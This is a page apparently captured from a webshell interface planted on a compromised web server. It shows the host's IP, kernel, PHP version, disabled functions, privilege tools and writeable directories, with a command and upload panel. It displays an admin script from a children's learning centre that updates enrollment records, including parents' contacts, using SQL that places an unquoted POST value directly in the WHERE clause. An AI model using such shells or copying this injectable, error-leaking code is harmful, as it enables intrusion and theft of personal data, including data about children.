403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)discoverylearning.com.hk/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)discoverylearning.com.hk/webadmin/enrolllist_modify.php
<?php require("configure.php");
 
$EnId			= htmlspecialchars($_POST["EnId"],ENT_QUOTES);
$EnStudentno	= htmlspecialchars($_POST["EnStudentno"],ENT_QUOTES);
$EnName			= htmlspecialchars($_POST["EnName"],ENT_QUOTES);
$EnBirth		= htmlspecialchars($_POST["EnBirth"],ENT_QUOTES);
$EnSex			= htmlspecialchars($_POST["EnSex"],ENT_QUOTES);
$EnAge			= htmlspecialchars($_POST["EnAge"],ENT_QUOTES);
$EnAddress		= htmlspecialchars($_POST["EnAddress"],ENT_QUOTES);
$EnHomeno		= htmlspecialchars($_POST["EnHomeno"],ENT_QUOTES);
$EnFaxno		= htmlspecialchars($_POST["EnFaxno"],ENT_QUOTES);
$EnMotherName		= htmlspecialchars($_POST["EnMotherName"],ENT_QUOTES);
$EnMotherMobile		= htmlspecialchars($_POST["EnMotherMobile"],ENT_QUOTES);
$EnMotherEmail		= htmlspecialchars($_POST["EnMotherEmail"],ENT_QUOTES);
$EnFatherName		= htmlspecialchars($_POST["EnFatherName"],ENT_QUOTES);
$EnFatherMobile		= htmlspecialchars($_POST["EnFatherMobile"],ENT_QUOTES);
$EnFatherEmail		= htmlspecialchars($_POST["EnFatherEmail"],ENT_QUOTES);
$EnChild			= htmlspecialchars($_POST["EnChild"],ENT_QUOTES);
$EnChildMobile		= htmlspecialchars($_POST["EnChildMobile"],ENT_QUOTES);
$EnEmergency		= htmlspecialchars($_POST["EnEmergency"],ENT_QUOTES);

$EnAware			= htmlspecialchars($_POST["EnAware"],ENT_QUOTES);
$EnAttends			= htmlspecialchars($_POST["EnAttends"],ENT_QUOTES);
$EnGrade			= htmlspecialchars($_POST["EnGrade"],ENT_QUOTES);
$EnReferred			= htmlspecialchars($_POST["EnReferred"],ENT_QUOTES);

//print_r($_POST);

// Modify 
$sql = "update EnrollList set EnStudentno='$EnStudentno', EnName='$EnName', EnBirth='$EnBirth', EnSex='$EnSex', EnAge='$EnAge', EnAddress='$EnAddress', EnHomeno='$EnHomeno', EnFaxno='$EnFaxno', EnMotherName='$EnMotherName', EnMotherMobile='$EnMotherMobile', EnMotherEmail='$EnMotherEmail', EnFatherName='$EnFatherName', EnFatherMobile='$EnFatherMobile', EnFatherEmail='$EnFatherEmail', EnChild='$EnChild', EnChildMobile='$EnChildMobile', EnEmergency='$EnEmergency', EnAware='$EnAware', EnAttends='$EnAttends', EnGrade='$EnGrade', EnReferred='$EnReferred' ";
$sql .= " where EnId=". $EnId ." ";
mysql_query($sql);

if( mysql_errno() > 0 ){
	echo 'Enrollment List Modify Error:<br />'. mysql_error() .'<br />SQL: '. $sql;
	exit;
}	
mysql_close($dbh);

header("Location: enrolllist_index.php?msg=Modify Successful");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit